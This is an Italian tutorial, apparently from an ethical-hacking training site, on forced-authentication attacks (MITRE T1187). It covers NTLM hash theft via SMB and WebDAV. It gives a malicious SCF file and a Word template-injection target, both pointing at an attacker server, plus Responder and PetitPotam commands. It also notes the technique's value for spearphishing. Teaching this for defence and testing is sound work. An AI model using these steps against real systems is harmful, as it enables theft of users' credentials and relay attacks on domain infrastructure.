Forced Authentication: Costringere le Credenziali all'Autenticazione Automatica (T1187)
L'attacco di autenticazione forzata rappresenta una tecnica sofisticata che sfrutta i meccanismi automatici di Windows per carpire le credenziali degli utenti senza alcuna interazione diretta. Quando un sistema tenta di accedere a una risorsa SMB o WebDAV, invia automaticamente le informazioni di autenticazione dell'utente corrente al sistema remoto.
Questa metodologia si colloca nella tattica TA0006 (Credential Access) della kill chain, permettendo agli avversari di raccogliere hash NTLM che possono essere successivamente utilizzati per attacchi di brute force offline o relay. La tecnica ha dimostrato la sua efficacia con 2 gruppi APT documentati che l'hanno utilizzata in operazioni reali, rendendola una minaccia concreta per le organizzazioni enterprise.
Il protocollo SMB, onnipresente negli ambienti Windows per la condivisione di file e risorse, diventa così un vettore d'attacco silenzioso. WebDAV funge da protocollo di backup quando SMB è bloccato, operando tipicamente sulle porte TCP 80 e 443, mascherandosi nel normale traffico web.
La creazione di un file SCF malevolo rappresenta il primo passo per testare questa vulnerabilità nel vostro ambiente. Create un file trap.scf con il seguente contenuto:
[Shell]
Command=2
IconFile=\\[vostro-server]\share\icon.ico
Posizionate questo file sul desktop di un utente target o in una share pubblica. Quando Windows renderizza l'icona, invierà automaticamente l'hash NTLM al vostro server controllato.
Per intercettare gli hash, configurate Responder sul vostro sistema di attacco Linux:
sudo responder -I eth0 -wrf
Responder catturerà gli hash NTLMv2 che potrete successivamente craccare offline con hashcat. La bellezza di questa tecnica sta nella sua semplicità: non richiede exploit complessi o vulnerabilità zero-day.
Un approccio più sofisticato prevede l'utilizzo di documenti Office con template injection. Create un documento Word che referenzia un template remoto modificando il file document.xml.rels all'interno del file DOCX:
Target="file://[vostro-server]/Normal.dotm"
Quando la vittima apre il documento, Office tenterà di recuperare il template remoto, inviando le credenziali NTLM. Questa variante è particolarmente efficace negli attacchi di spearphishing poiché il documento appare legittimo.
La funzione EfsRpcOpenFileRaw offre un vettore alternativo per forzare l'autenticazione. Utilizzando tool come PetitPotam, potete inviare richieste SMB all'interfaccia MS-EFSRPC di un sistema remoto:
python3 PetitPotam.py -d [dominio] -u [utente] -p [password] [listener-ip] [target-ip]
Questo metodo è particolarmente potente perché può costringere anche i domain controller a autenticarsi, aprendo la strada ad attacchi di relay NTLM contro l'infrastruttura Active Directory.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo